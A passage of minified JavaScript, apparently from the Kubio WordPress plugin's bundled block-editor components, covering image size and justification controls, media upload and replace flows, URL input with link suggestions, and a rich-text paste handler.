0!==e&&Number.parseInt(e)!==Number.parseInt(u)&&d(e)}),[t,e]),{currentHeight:u,currentWidth:i,updateDimension:(e,t)=>{"width"===e?s(t):d(t),r({[e]:""===t?void 0:parseInt(t,10)})},updateDimensions:(e,t)=>{d(null!=e?e:n),s(null!=t?t:o),r({height:e,width:t})}}}(d,i,o,n,b);return Object(a.createElement)(a.Fragment,null,r&&r.length>0&&Object(a.createElement)(u.SelectControl,{__nextHasNoMarginBottom:!0,label:Object(s.__)("Image size","kubio"),value:c,options:r,onChange:p,help:t}),l&&Object(a.createElement)("div",{className:"block-editor-image-size-control"},Object(a.createElement)("p",{className:"block-editor-image-size-control__row"},Object(s.__)("Image dimensions","kubio")),Object(a.createElement)("div",{className:"block-editor-image-size-control__row"},Object(a.createElement)(u.TextControl,{type:"number",className:"block-editor-image-size-control__width",label:Object(s.__)("Width","kubio"),value:f,min:1,onChange:e=>g("width",e)}),Object(a.createElement)(u.TextControl,{type:"number",className:"block-editor-image-size-control__height",label:Object(s.__)("Height","kubio"),value:m,min:1,onChange:e=>g("height",e)})),Object(a.createElement)("div",{className:"block-editor-image-size-control__row"},Object(a.createElement)(u.ButtonGroup,{"aria-label":Object(s.__)("Image size presets","kubio")},$n.map((e=>{const t=Math.round(n*(e/100)),r=Math.round(o*(e/100)),l=f===t&&m===r;return Object(a.createElement)(u.Button,{key:e,isSmall:!0,variant:l?"primary":void 0,isPressed:l,onClick:()=>h(r,t)},e,"%")}))),Object(a.createElement)(u.Button,{isSmall:!0,onClick:()=>h()},Object(s.__)("Reset","kubio")))))}var Kn=n(192),qn=n(50),Yn=n(670),Qn=n(671),Xn=n(672),Zn=n(673),Jn=n(674);const eo={left:Yn.a,center:Qn.a,right:Xn.a,"space-between":Zn.a,stretch:Jn.a};var to=function(e){let{allowedControls:t=["left","center","right","space-between"],isCollapsed:n=!0,onChange:o,value:r,popoverProps:l,isToolbar:c}=e;const d=e=>{o(e===r?void 0:e)},b=r?eo[r]:eo.left,p=[{name:"left",icon:Yn.a,title:Object(s.__)("Justify items left","kubio"),isActive:"left"===r,onClick:()=>d("left")},{name:"center",icon:Qn.a,title:Object(s.__)("Justify items center","kubio"),isActive:"center"===r,onClick:()=>d("center")},{name:"right",icon:Xn.a,title:Object(s.__)("Justify items right","kubio"),isActive:"right"===r,onClick:()=>d("right")},{name:"space-between",icon:Zn.a,title:Object(s.__)("Space between items","kubio"),isActive:"space-between"===r,onClick:()=>d("space-between")},{name:"stretch",icon:Jn.a,title:Object(s.__)("Stretch items","kubio"),isActive:"stretch"===r,onClick:()=>d("stretch")}],m=c?u.ToolbarGroup:u.ToolbarDropdownMenu,f=c?{isCollapsed:n}:{};return Object(a.createElement)(m,Object(i.a)({icon:b,popoverProps:l,label:Object(s.__)("Change items justification","kubio"),controls:p.filter((e=>t.includes(e.name)))},f))};const no=e=>Object(a.createElement)(to,Object(i.a)({},e,{isToolbar:!1})),oo=e=>Object(a.createElement)(to,Object(i.a)({},e,{isToolbar:!0}));var ro=n(168),lo=n(241),co=n(244),io=n(239),ao=n(245),so=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z"})),uo=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z"})),bo=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z"})),po=Object(u.withFilters)("editor.MediaUpload")((()=>null)),mo=function(e){let{fallback:t=null,children:n}=e;return Object(_.useSelect)((e=>{const{getSettings:t}=e(C.a);return!!t().mediaUpload}),[])?n:t};const fo=()=>{};let go=0;var ho=Object(ke.compose)([Object(_.withDispatch)((e=>{const{createNotice:t,removeNotice:n}=e(ln.store);return{createNotice:t,removeNotice:n}})),Object(u.withFilters)("editor.MediaReplaceFlow")])((e=>{let{mediaURL:t,mediaId:n,mediaIds:o,allowedTypes:r,accept:l,onError:c,onSelect:i,onSelectURL:d,onToggleFeaturedImage:b,useFeaturedImage:p,onFilesUpload:m=fo,name:f=Object(s.__)("Replace","kubio"),createNotice:g,removeNotice:h,children:v,multiple:O=!1,addToGallery:k,handleUpload:j=!0}=e;const y=Object(_.useSelect)((e=>e(C.a).getSettings().mediaUpload),[]),E=Object(a.useRef)(),S="block-editor/media-replace-flow/error-notice/"+ ++go,w=e=>{const t=Object(cn.__unstableStripHTML)(e);c?c(t):setTimeout((()=>{g("error",t,{speak:!0,id:S,isDismissible:!0})}),1e3)},B=(e,t)=>{p&&b&&b(),t(),i(e),Object(Ue.speak)(Object(s.__)("The media file has been replaced","kubio")),h(S)},I=e=>{e.keyCode===oe.DOWN&&(e.preventDefault(),e.target.click())},x=O&&!(!r||0===r.length)&&r.every((e=>"image"===e||e.startsWith("image/")));return Object(a.createElement)(u.Dropdown,{popoverProps:{variant:"toolbar"},contentClassName:"block-editor-media-replace-flow__options",renderToggle:e=>{let{isOpen:t,onToggle:n}=e;return Object(a.createElement)(u.ToolbarButton,{ref:E,"aria-expanded":t,"aria-haspopup":"true",onClick:n,onKeyDown:I},f)},renderContent:e=>{let{onClose:c}=e;return Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.NavigableMenu,{className:"block-editor-media-replace-flow__media-upload-menu"},Object(a.createElement)(a.Fragment,null,Object(a.createElement)(po,{gallery:x,addToGallery:k,multiple:O,value:O?o:n,onSelect:e=>B(e,c),allowedTypes:r,render:e=>{let{open:t}=e;return Object(a.createElement)(u.MenuItem,{icon:so,onClick:t},Object(s.__)("Open Media Library","kubio"))}}),Object(a.createElement)(mo,null,Object(a.createElement)(u.FormFileUpload,{onChange:e=>{((e,t)=>{const n=e.target.files;if(!j)return t(),i(n);m(n),y({allowedTypes:r,filesList:n,onFileChange:e=>{let[n]=e;B(n,t)},onError:w})})(e,c)},accept:l,multiple:O,render:e=>{let{openFileDialog:t}=e;return Object(a.createElement)(u.MenuItem,{icon:uo,onClick:()=>{t()}},Object(s.__)("Upload","kubio"))}}))),b&&Object(a.createElement)(u.MenuItem,{icon:bo,onClick:b,isPressed:p},Object(s.__)("Use featured image","kubio")),v),d&&Object(a.createElement)("form",{className:"block-editor-media-flow__url-input"},Object(a.createElement)("span",{className:"block-editor-media-replace-flow__image-url-label"},Object(s.__)("Current media URL:","kubio")),Object(a.createElement)(u.Tooltip,{text:t,position:"bottom"},Object(a.createElement)("div",null,Object(a.createElement)(ro.a,{value:{url:t},settings:[],showSuggestions:!1,onChange:e=>{let{url:t}=e;d(t),E.current.focus()}})))))}})})),vo=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},Object(a.createElement)(L.Path,{d:"M6.734 16.106l2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.157 1.093-1.027-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734z"})),Oo=n(372);function ko(e){let{url:t,urlLabel:n,className:o}=e;const r=H()(o,"block-editor-url-popover__link-viewer-url");return t?Object(a.createElement)(u.ExternalLink,{className:r,href:t},n||Object(N.filterURLForDisplay)(Object(N.safeDecodeURI)(t))):Object(a.createElement)("span",{className:r})}var jo=n(195),_o=n.n(jo);function yo(e){return"function"==typeof e}class Eo extends a.Component{constructor(e){super(e),this.onChange=this.onChange.bind(this),this.onFocus=this.onFocus.bind(this),this.onKeyDown=this.onKeyDown.bind(this),this.selectLink=this.selectLink.bind(this),this.handleOnClick=this.handleOnClick.bind(this),this.bindSuggestionNode=this.bindSuggestionNode.bind(this),this.autocompleteRef=e.autocompleteRef||Object(a.createRef)(),this.inputRef=Object(a.createRef)(),this.updateSuggestions=Object(Je.debounce)(this.updateSuggestions.bind(this),200),this.suggestionNodes=[],this.suggestionsRequest=null,this.state={suggestions:[],showSuggestions:!1,isUpdatingSuggestions:!1,suggestionsValue:null,selectedSuggestion:null,suggestionsListboxId:"",suggestionOptionIdPrefix:""}}componentDidUpdate(e){const{showSuggestions:t,selectedSuggestion:n}=this.state,{value:o,__experimentalShowInitialSuggestions:r=!1}=this.props;t&&null!==n&&this.suggestionNodes[n]&&!this.scrollingIntoView&&(this.scrollingIntoView=!0,_o()(this.suggestionNodes[n],this.autocompleteRef.current,{onlyScrollIfNeeded:!0}),this.props.setTimeout((()=>{this.scrollingIntoView=!1}),100)),e.value===o||this.props.disableSuggestions||this.state.isUpdatingSuggestions||(null!=o&&o.length?this.updateSuggestions(o):r&&this.updateSuggestions())}componentDidMount(){this.shouldShowInitialSuggestions()&&this.updateSuggestions()}componentWillUnmount(){var e,t;null===(e=this.suggestionsRequest)||void 0===e||null===(t=e.cancel)||void 0===t||t.call(e),this.suggestionsRequest=null}bindSuggestionNode(e){return t=>{this.suggestionNodes[e]=t}}shouldShowInitialSuggestions(){const{__experimentalShowInitialSuggestions:e=!1,value:t}=this.props;return e&&!(t&&t.length)}updateSuggestions(){var e;let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";const{__experimentalFetchLinkSuggestions:n,__experimentalHandleURLSuggestions:o}=this.props;if(!n)return;const r=!(null!==(e=t)&&void 0!==e&&e.length);var l,c;if(t=t.trim(),!r&&(t.length<2||!o&&Object(N.isURL)(t)))return null===(l=this.suggestionsRequest)||void 0===l||null===(c=l.cancel)||void 0===c||c.call(l),this.suggestionsRequest=null,void this.setState({suggestions:[],showSuggestions:!1,suggestionsValue:t,selectedSuggestion:null,loading:!1});this.setState({isUpdatingSuggestions:!0,selectedSuggestion:null,loading:!0});const i=n(t,{isInitialSuggestions:r});i.then((e=>{this.suggestionsRequest===i&&(this.setState({suggestions:e,isUpdatingSuggestions:!1,suggestionsValue:t,loading:!1,showSuggestions:!!e.length}),e.length?this.props.debouncedSpeak(Object(s.sprintf)(/* translators: %s: number of results. */Object(s._n)("%d result found, use up and down arrow keys to navigate.","%d results found, use up and down arrow keys to navigate.",e.length,"kubio"),e.length),"assertive"):this.props.debouncedSpeak(Object(s.__)("No results.","kubio"),"assertive"))})).catch((()=>{this.suggestionsRequest===i&&this.setState({isUpdatingSuggestions:!1,loading:!1})})),this.suggestionsRequest=i}onChange(e){this.props.onChange(e.target.value)}onFocus(){const{suggestions:e}=this.state,{disableSuggestions:t,value:n}=this.props;!n||t||this.state.isUpdatingSuggestions||e&&e.length||this.updateSuggestions(n)}onKeyDown(e){const{showSuggestions:t,selectedSuggestion:n,suggestions:o,loading:r}=this.state;if(!t||!o.length||r){switch(e.keyCode){case oe.UP:0!==e.target.selectionStart&&(e.preventDefault(),e.target.setSelectionRange(0,0));break;case oe.DOWN:this.props.value.length!==e.target.selectionStart&&(e.preventDefault(),e.target.setSelectionRange(this.props.value.length,this.props.value.length));break;case oe.ENTER:e.preventDefault(),this.props.onSubmit&&this.props.onSubmit(null,e)}return}const l=this.state.suggestions[this.state.selectedSuggestion];switch(e.keyCode){case oe.UP:{e.preventDefault();const t=n?n-1:o.length-1;this.setState({selectedSuggestion:t});break}case oe.DOWN:{e.preventDefault();const t=null===n||n===o.length-1?0:n+1;this.setState({selectedSuggestion:t});break}case oe.TAB:null!==this.state.selectedSuggestion&&(this.selectLink(l),this.props.speak(Object(s.__)("Link selected.","kubio")));break;case oe.ENTER:e.preventDefault(),null!==this.state.selectedSuggestion?(this.selectLink(l),this.props.onSubmit&&this.props.onSubmit(l,e)):this.props.onSubmit&&this.props.onSubmit(null,e)}}selectLink(e){this.props.onChange(e.url,e),this.setState({selectedSuggestion:null,showSuggestions:!1})}handleOnClick(e){this.selectLink(e),this.inputRef.current.focus()}static getDerivedStateFromProps(e,t){let{value:n,instanceId:o,disableSuggestions:r,__experimentalShowInitialSuggestions:l=!1}=e,{showSuggestions:c}=t,i=c;const a=n&&n.length;return l||a||(i=!1),!0===r&&(i=!1),{showSuggestions:i,suggestionsListboxId:`block-editor-url-input-suggestions-${o}`,suggestionOptionIdPrefix:`block-editor-url-input-suggestion-${o}`}}render(){return Object(a.createElement)(a.Fragment,null,this.renderControl(),this.renderSuggestions())}renderControl(){const{__nextHasNoMarginBottom:e=!1,label:t=null,className:n,isFullWidth:o,instanceId:r,placeholder:l=Object(s.__)("Paste URL or type to search","kubio"),__experimentalRenderControl:c,value:d=""}=this.props,{loading:b,showSuggestions:p,selectedSuggestion:m,suggestionsListboxId:f,suggestionOptionIdPrefix:g}=this.state,h=`url-input-control-${r}`,v={id:h,label:t,className:H()("block-editor-url-input",n,{"is-full-width":o})},O={id:h,value:d,required:!0,className:"block-editor-url-input__input",type:"text",onChange:this.onChange,onFocus:this.onFocus,placeholder:l,onKeyDown:this.onKeyDown,role:"combobox","aria-label":t?void 0:Object(s.__)("URL","kubio"),"aria-expanded":p,"aria-autocomplete":"list","aria-controls":f,"aria-activedescendant":null!==m?`${g}-${m}`:void 0,ref:this.inputRef};return c?c(v,O,b):(e||pe()("Bottom margin styles for wp.blockEditor.URLInput",{since:"6.2",version:"6.5",hint:"Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version"}),Object(a.createElement)(u.BaseControl,Object(i.a)({__nextHasNoMarginBottom:e},v),Object(a.createElement)("input",O),b&&Object(a.createElement)(u.Spinner,null)))}renderSuggestions(){const{className:e,__experimentalRenderSuggestions:t}=this.props,{showSuggestions:n,suggestions:o,suggestionsValue:r,selectedSuggestion:l,suggestionsListboxId:c,suggestionOptionIdPrefix:s,loading:d}=this.state;if(!n||0===o.length)return null;const b={id:c,ref:this.autocompleteRef,role:"listbox"},p=(e,t)=>({role:"option",tabIndex:"-1",id:`${s}-${t}`,ref:this.bindSuggestionNode(t),"aria-selected":t===l});return yo(t)?t({suggestions:o,selectedSuggestion:l,suggestionsListProps:b,buildSuggestionItemProps:p,isLoading:d,handleSuggestionClick:this.handleOnClick,isInitialSuggestions:!(null!=r&&r.length),currentInputValue:r}):Object(a.createElement)(u.Popover,{placement:"bottom",focusOnMount:!1},Object(a.createElement)("div",Object(i.a)({},b,{className:H()("block-editor-url-input__suggestions",`${e}__suggestions`)}),o.map(((e,t)=>Object(a.createElement)(u.Button,Object(i.a)({},p(0,t),{key:e.id,className:H()("block-editor-url-input__suggestion",{"is-selected":t===l}),onClick:()=>this.handleOnClick(e)}),e.title)))))}}var So=Object(ke.compose)(ke.withSafeTimeout,u.withSpokenMessages,ke.withInstanceId,Object(_.withSelect)(((e,t)=>{if(yo(t.__experimentalFetchLinkSuggestions))return;const{getSettings:n}=e(C.a);return{__experimentalFetchLinkSuggestions:n().__experimentalFetchLinkSuggestions}})))(Eo);const Co="bottom";function wo(e){let t,{additionalControls:n,children:o,renderSettings:r,placement:l,focusOnMount:c="firstElement",position:d,...b}=e;void 0!==d&&pe()("`position` prop in wp.blockEditor.URLPopover",{since:"6.2",alternative:"`placement` prop"}),void 0!==l?t=l:void 0!==d&&(t=Object(u.__experimentalPopoverPositionToPlacement)(d)),t=t||Co;const[p,m]=Object(a.useState)(!1),f=!!r&&p;return Object(a.createElement)(u.Popover,Object(i.a)({className:"block-editor-url-popover",focusOnMount:c,placement:t,shift:!0},b),Object(a.createElement)("div",{className:"block-editor-url-popover__input-container"},Object(a.createElement)("div",{className:"block-editor-url-popover__row"},o,!!r&&Object(a.createElement)(u.Button,{className:"block-editor-url-popover__settings-toggle",icon:Ot.a,label:Object(s.__)("Link settings","kubio"),onClick:()=>{m(!p)},"aria-expanded":p})),f&&Object(a.createElement)("div",{className:"block-editor-url-popover__row block-editor-url-popover__settings"},r())),n&&!f&&Object(a.createElement)("div",{className:"block-editor-url-popover__additional-controls"},n))}wo.LinkEditor=function(e){let{autocompleteRef:t,className:n,onChangeInputValue:o,value:r,...l}=e;return Object(a.createElement)("form",Object(i.a)({className:H()("block-editor-url-popover__link-editor",n)},l),Object(a.createElement)(So,{__nextHasNoMarginBottom:!0,value:r,onChange:o,autocompleteRef:t}),Object(a.createElement)(u.Button,{icon:vo,label:Object(s.__)("Apply","kubio"),type:"submit"}))},wo.LinkViewer=function(e){let{className:t,linkClassName:n,onEditLinkClick:o,url:r,urlLabel:l,...c}=e;return Object(a.createElement)("div",Object(i.a)({className:H()("block-editor-url-popover__link-viewer",t)},c),Object(a.createElement)(ko,{url:r,urlLabel:l,className:n}),o&&Object(a.createElement)(u.Button,{icon:Oo.a,label:Object(s.__)("Edit","kubio"),onClick:o}))};var Bo=wo;const Io=()=>{},xo=e=>{let{src:t,onChange:n,onSubmit:o,onClose:r}=e;return Object(a.createElement)(Bo,{onClose:r},Object(a.createElement)("form",{className:"block-editor-media-placeholder__url-input-form",onSubmit:o},Object(a.createElement)("input",{className:"block-editor-media-placeholder__url-input-field",type:"text","aria-label":Object(s.__)("URL","kubio"),placeholder:Object(s.__)("Paste or type URL","kubio"),onChange:n,value:t}),Object(a.createElement)(u.Button,{className:"block-editor-media-placeholder__url-input-submit-button",icon:vo,label:Object(s.__)("Apply","kubio"),type:"submit"})))};var To=Object(u.withFilters)("editor.MediaPlaceholder")((function(e){let{value:t={},allowedTypes:n,className:o,icon:r,labels:l={},mediaPreview:c,notices:i,isAppender:d,accept:b,addToGallery:p,multiple:m=!1,handleUpload:f=!0,disableDropZone:g,disableMediaButtons:h,onError:v,onSelect:O,onCancel:k,onSelectURL:j,onToggleFeaturedImage:y,onDoubleClick:E,onFilesPreUpload:S=Io,onHTMLDrop:w=Io,children:B,mediaLibraryButton:I,placeholder:x,style:T}=e;const N=Object(_.useSelect)((e=>{const{getSettings:t}=e(C.a);return t().mediaUpload}),[]),[M,P]=Object(a.useState)(""),[L,R]=Object(a.useState)(!1);Object(a.useEffect)((()=>{var e;P(null!==(e=null==t?void 0:t.src)&&void 0!==e?e:"")}),[null==t?void 0:t.src]);const A=e=>{P(e.target.value)},D=()=>{R(!0)},F=()=>{R(!1)},z=e=>{e.preventDefault(),M&&j&&(j(M),F())},V=e=>{if(!f)return O(e);let o;if(S(e),m)if(p){let e=[];o=n=>{const o=(null!=t?t:[]).filter((t=>t.id?!e.some((e=>{let{id:n}=e;return Number(n)===Number(t.id)})):!e.some((e=>{let{urlSlug:n}=e;return t.url.includes(n)}))));O(o.concat(n)),e=n.map((e=>{const t=e.url.lastIndexOf("."),n=e.url.slice(0,t);return{id:e.id,urlSlug:n}}))}}else o=O;else o=e=>{let[t]=e;return O(t)};N({allowedTypes:n,filesList:e,onFileChange:o,onError:v})},G=e=>{V(e.target.files)},$=null!=x?x:e=>{let{instructions:t,title:b}=l;if(N||j||(t=Object(s.__)("To edit this block, you need permission to upload media.","kubio")),void 0===t||void 0===b){const e=null!=n?n:[],[o]=e,r=1===e.length,l=r&&"audio"===o,c=r&&"image"===o,i=r&&"video"===o;void 0===t&&N&&(t=Object(s.__)("Upload a media file or pick one from your media library.","kubio"),l?t=Object(s.__)("Upload an audio file, pick one from your media library, or add one with a URL.","kubio"):c?t=Object(s.__)("Upload an image file, pick one from your media library, or add one with a URL.","kubio"):i&&(t=Object(s.__)("Upload a video file, pick one from your media library, or add one with a URL.","kubio"))),void 0===b&&(b=Object(s.__)("Media","kubio"),l?b=Object(s.__)("Audio","kubio"):c?b=Object(s.__)("Image","kubio"):i&&(b=Object(s.__)("Video","kubio")))}const p=H()("block-editor-media-placeholder",o,{"is-appender":d});return Object(a.createElement)(u.Placeholder,{icon:r,label:b,instructions:t,className:p,notices:i,onDoubleClick:E,preview:c,style:T},e,B)},U=()=>g?null:Object(a.createElement)(u.DropZone,{onFilesDrop:V,onHTMLDrop:w}),W=()=>k&&Object(a.createElement)(u.Button,{className:"block-editor-media-placeholder__cancel-button",title:Object(s.__)("Cancel","kubio"),variant:"link",onClick:k},Object(s.__)("Cancel","kubio")),K=()=>j&&Object(a.createElement)("div",{className:"block-editor-media-placeholder__url-input-container"},Object(a.createElement)(u.Button,{className:"block-editor-media-placeholder__button",onClick:D,isPressed:L,variant:"tertiary"},Object(s.__)("Insert from URL","kubio")),L&&Object(a.createElement)(xo,{src:M,onChange:A,onSubmit:z,onClose:F})),q=()=>y&&Object(a.createElement)("div",{className:"block-editor-media-placeholder__url-input-container"},Object(a.createElement)(u.Button,{className:"block-editor-media-placeholder__button",onClick:y,variant:"tertiary"},Object(s.__)("Use featured image","kubio")));return h?Object(a.createElement)(mo,null,U()):Object(a.createElement)(mo,{fallback:$(K())},(()=>{const e=null!=I?I:e=>{let{open:t}=e;return Object(a.createElement)(u.Button,{variant:"tertiary",onClick:()=>{t()}},Object(s.__)("Media Library","kubio"))},o=Object(a.createElement)(po,{addToGallery:p,gallery:m&&!(!n||0===n.length)&&n.every((e=>"image"===e||e.startsWith("image/"))),multiple:m,onSelect:O,allowedTypes:n,mode:"browse",value:Array.isArray(t)?t.map((e=>{let{id:t}=e;return t})):t.id,render:e});if(N&&d)return Object(a.createElement)(a.Fragment,null,U(),Object(a.createElement)(u.FormFileUpload,{onChange:G,accept:b,multiple:m,render:e=>{let{openFileDialog:t}=e;const n=Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.Button,{variant:"primary",className:H()("block-editor-media-placeholder__button","block-editor-media-placeholder__upload-button"),onClick:t},Object(s.__)("Upload","kubio")),o,K(),q(),W());return $(n)}}));if(N){const e=Object(a.createElement)(a.Fragment,null,U(),Object(a.createElement)(u.FormFileUpload,{variant:"primary",className:H()("block-editor-media-placeholder__button","block-editor-media-placeholder__upload-button"),onChange:G,accept:b,multiple:m},Object(s.__)("Upload","kubio")),o,K(),q(),W());return $(e)}return $(o)})())})),No=e=>{let{colorSettings:t,...n}=e;const o=t.map((e=>{if(!e)return e;const{value:t,onChange:n,...o}=e;return{...o,colorValue:t,onColorChange:n}}));return Object(a.createElement)(on,Object(i.a)({settings:o,gradients:[],disableCustomGradients:!0},n))},Mo=n(252),Po=n.n(Mo),Lo=n(34);const Ro={position:"bottom right",variant:"toolbar"};var Ao=()=>Object(a.createElement)(a.Fragment,null,["bold","italic","link","unknown"].map((e=>Object(a.createElement)(u.Slot,{name:`RichText.ToolbarControls.${e}`,key:e}))),Object(a.createElement)(u.Slot,{name:"RichText.ToolbarControls"},(e=>{if(!e.length)return null;const t=e.map((e=>{let[{props:t}]=e;return t})).some((e=>{let{isActive:t}=e;return t}));return Object(a.createElement)(u.ToolbarItem,null,(n=>Object(a.createElement)(u.DropdownMenu,{icon:Ot.a/* translators: button label text should, if possible, be under 16 characters. */,label:Object(s.__)("More","kubio"),toggleProps:{...n,className:H()(n.className,{"is-pressed":t}),describedBy:Object(s.__)("Displays more block tools","kubio")},controls:Object(w.a)(e.map((e=>{let[{props:t}]=e;return t})),"title"),popoverProps:Ro})))}))),Do=n(164);function Fo(e){let{value:t,editableContentElement:n,activeFormats:o}=e;const r=o[o.length-1],l=null==r?void 0:r.type,c=Object(_.useSelect)((e=>e(Lo.store).getFormatType(l)),[l]),i=Object(Lo.useAnchor)({editableContentElement:n,value:t,settings:c});return Object(a.createElement)(zo,{popoverAnchor:i})}function zo(e){let{popoverAnchor:t}=e;return Object(a.createElement)(u.Popover,{placement:"top",focusOnMount:!1,anchor:t,className:"block-editor-rich-text__inline-format-toolbar",__unstableSlotName:"block-toolbar"},Object(a.createElement)(Do.a,{className:"block-editor-rich-text__inline-format-toolbar-group"/* translators: accessibility text for the inline format toolbar */,"aria-label":Object(s.__)("Format tools","kubio")},Object(a.createElement)(u.ToolbarGroup,null,Object(a.createElement)(Ao,null))))}var Vo=e=>{let{inline:t,editableContentElement:n,value:o}=e;const r=Object(_.useSelect)((e=>e(C.a).getSettings().hasInlineToolbar),[]);if(t)return Object(a.createElement)(zo,{popoverAnchor:n});if(r){const e=Object(Lo.getActiveFormats)(o);return Object(Lo.isCollapsed)(o)&&!e.length?null:Object(a.createElement)(Fo,{editableContentElement:n,value:o,activeFormats:e})}return Object(a.createElement)(de.b,{group:"inline"},Object(a.createElement)(Ao,null))};function Ho(){const{didAutomaticChange:e,getSettings:t}=Object(_.useSelect)(C.a);return Object(ke.useRefEffect)((n=>{function o(n){const{keyCode:o}=n;if(n.defaultPrevented)return;if(o!==oe.DELETE&&o!==oe.BACKSPACE&&o!==oe.ESCAPE)return;const{__experimentalUndo:r}=t();r&&e()&&(n.preventDefault(),r())}return n.addEventListener("keydown",o),()=>{n.removeEventListener("keydown",o)}}),[])}var Go=n(177);function $o(e,t){if(null!=t&&t.length){let n=e.formats.length;for(;n--;)e.formats[n]=[...t,...e.formats[n]||[]]}}function Uo(e){if(!0===e||"p"===e||"li"===e)return!0===e?"p":e}function Wo(e){let{allowedFormats:t,disableFormats:n}=e;return n?Wo.EMPTY_ARRAY:t}Wo.EMPTY_ARRAY=[];const Ko=e=>Object(Go.regexp)(".*").test(e);function qo(e){let{value:t,pastedBlocks:n=[],onReplace:o,onSplit:r,onSplitMiddle:l,multilineTag:c}=e;if(!o||!r)return;const{start:i=0,end:a=0}=t,s={...t,start:i,end:a},u=[],[d,b]=Object(Lo.split)(s),p=n.length>0;let m=-1;const f=Object(Lo.isEmpty)(d)&&!Object(Lo.isEmpty)(b);p&&Object(Lo.isEmpty)(d)||(u.push(r(Object(Lo.toHTMLString)({value:d,multilineTag:c}),!f)),m+=1),p?(u.push(...n),m+=n.length):l&&u.push(l()),(p||l)&&Object(Lo.isEmpty)(b)||u.push(r(Object(Lo.toHTMLString)({value:b,multilineTag:c}),f)),o(u,p?m:1,p?-1:0)}var Yo=n(256);function Qo(e,t){return t?Object(Lo.replace)(e,/\n+/g,Lo.__UNSTABLE_LINE_SEPARATOR):Object(Lo.replace)(e,new RegExp(Lo.__UNSTABLE_LINE_SEPARATOR,"g"),"\n")}function Xo(e){const t=Object(a.useRef)(e);return t.current=e,Object(ke.useRefEffect)((e=>{function n(e){const{isSelected:n,disableFormats:o,onChange:r,value:l,formatTypes:c,tagName:i,onReplace:a,onSplit:s,onSplitMiddle:u,__unstableEmbedURLOnPaste:d,multilineTag:b,preserveWhiteSpace:p,pastePlainText:m}=t.current;if(!n)return;const{clipboardData:f}=e;let g="",h="";try{g=f.getData("text/plain"),h=f.getData("text/html")}catch(e){try{h=f.getData("Text")}catch(e){return}}if(h=function(e){const t="\x3c!--StartFragment--\x3e",n=e.indexOf(t);if(!(n>-1))return e;const o=(e=e.substring(n+t.length)).indexOf("\x3c!--EndFragment--\x3e");return o>-1&&(e=e.substring(0,o)),e}(h),h=function(e){const t="<meta charset='utf-8'>";return e.startsWith(t)?e.slice(t.length):e}(h),e.preventDefault(),window.console.log("Received HTML:\n\n",h),window.console.log("Received plain text:\n\n",g),o)return void r(Object(Lo.insert)(l,g));const v=c.reduce(((e,t)=>{let{__unstablePasteRule:n}=t;return n&&e===l&&(e=n(l,{html:h,plainText:g})),e}),l);if(v!==l)return void r(v);const O=[...Object(cn.getFilesFromDataTransfer)(f)];if("true"===f.getData("rich-text")){const e=f.getData("rich-text-multi-line-tag")||void 0;let t=Object(Lo.create)({html:h,multilineTag:e,multilineWrapperTags:"li"===e?["ul","ol"]:void 0,preserveWhiteSpace:p});return t=Qo(t,!!b),$o(t,l.activeFormats),void r(Object(Lo.insert)(l,t))}if(m)return void r(Object(Lo.insert)(l,Object(Lo.create)({text:g})));if(null!=O&&O.length&&window.console.log("Received items:\n\n",O),null!=O&&O.length&&!Object(Yo.b)(O,h,g)){const e=Object(k.getBlockTransforms)("from"),t=O.reduce(((t,n)=>{const o=Object(k.findTransform)(e,(e=>"files"===e.type&&e.isMatch([n])));return o&&t.push(o.transform([n])),t}),[]).flat();if(!t.length)return;return void(a&&Object(Lo.isEmpty)(l)?a(t):qo({value:l,pastedBlocks:t,onReplace:a,onSplit:s,onSplitMiddle:u,multilineTag:b}))}let j=a&&s?"AUTO":"INLINE";"AUTO"===j&&Object(Lo.isEmpty)(l)&&Ko(g)&&(j="BLOCKS"),d&&Object(Lo.isEmpty)(l)&&Object(N.isURL)(g.trim())&&(j="BLOCKS");const _=Object(k.pasteHandler)({HTML:h,plainText:g,mode:j,tagName:i,preserveWhiteSpace:p});if("string"==typeof _){let e=Object(Lo.create)({html:_});e=Qo(e,!!b),$o(e,l.activeFormats),r(Object(Lo.insert)(l,e))}else _.length>0&&(a&&Object(Lo.isEmpty)(l)?a(_,_.length-1,-1):qo({value:l,pastedBlocks:_,onReplace:a,onSplit:s,onSplitMiddle:u,multilineTag:b}))}return 